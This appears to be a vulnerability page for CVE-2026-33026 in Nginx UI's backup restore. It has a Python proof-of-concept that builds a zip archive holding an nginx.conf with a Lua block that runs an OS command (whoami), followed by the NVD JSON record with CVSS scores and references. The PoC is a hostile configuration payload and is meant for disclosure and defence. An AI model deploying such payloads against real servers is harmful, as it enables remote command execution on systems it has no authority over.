CVE-2026-33026

import os import zipfile # Proof of Concept: Creating a malicious backup structure # This script demonstrates how an attacker would structure a malicious Nginx configuration # to be injected into the backup archive. # Define the malicious Nginx configuration content # This configuration uses Lua to execute a shell command (e.g., reverse shell) malicious_config = """ server { listen 80; server_name localhost; location /poc { default_type 'text/plain'; content_by_lua_block { os.execute("whoami") } } } """ # Create a temporary directory to simulate the backup structure backup_dir = "malicious_backup" os.makedirs(backup_dir, exist_ok=True) # Write the malicious configuration to a file (simulating the path inside the backup) config_path = os.path.join(backup_dir, "nginx.conf") with open(config_path, "w") as f: f.write(malicious_config) # Create a zip archive (simulating the backup archive) archive_name = "malicious_backup.zip" with zipfile.ZipFile(archive_name, 'w') as zipf: zipf.write(config_path, arcname="nginx.conf") print(f"[+] Malicious backup archive '{archive_name}' created successfully.") print(f"[+] The archive contains a malicious nginx.conf that executes OS commands.") print(f"[!] Note: In a real attack, this archive would be encrypted/tampered to bypass checks.") # Cleanup os.remove(config_path) os.rmdir(backup_dir)

{"cve": {"id": "CVE-2026-33026", "sourceIdentifier": "[email protected]", "published": "2026-03-30T20:16:22.130", "lastModified": "2026-04-01T18:16:43.630", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.4, the nginx-ui backup restore mechanism allows attackers to tamper with encrypted backup archives and inject malicious configuration during restoration. This issue has been patched in version 2.3.4."}, {"lang": "es", "value": "Nginx UI es una interfaz de usuario web para el servidor web Nginx. Antes de la versión 2.3.4, el mecanismo de restauración de copias de seguridad de nginx-ui permite a los atacantes manipular archivos de copia de seguridad cifrados e inyectar configuración maliciosa durante la restauración. Este problema ha sido parcheado en la versión 2.3.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-312"}, {"lang": "en", "value": "CWE-347"}, {"lang": "en", "value": "CWE-354"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.4", "matchCriteriaId": "EAC83E05-2DDE-450D-8718-843174EAB4E1"}]}]}], "references": [{"url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-fhh2-gg7w-gwpq", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-fhh2-gg7w-gwpq", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}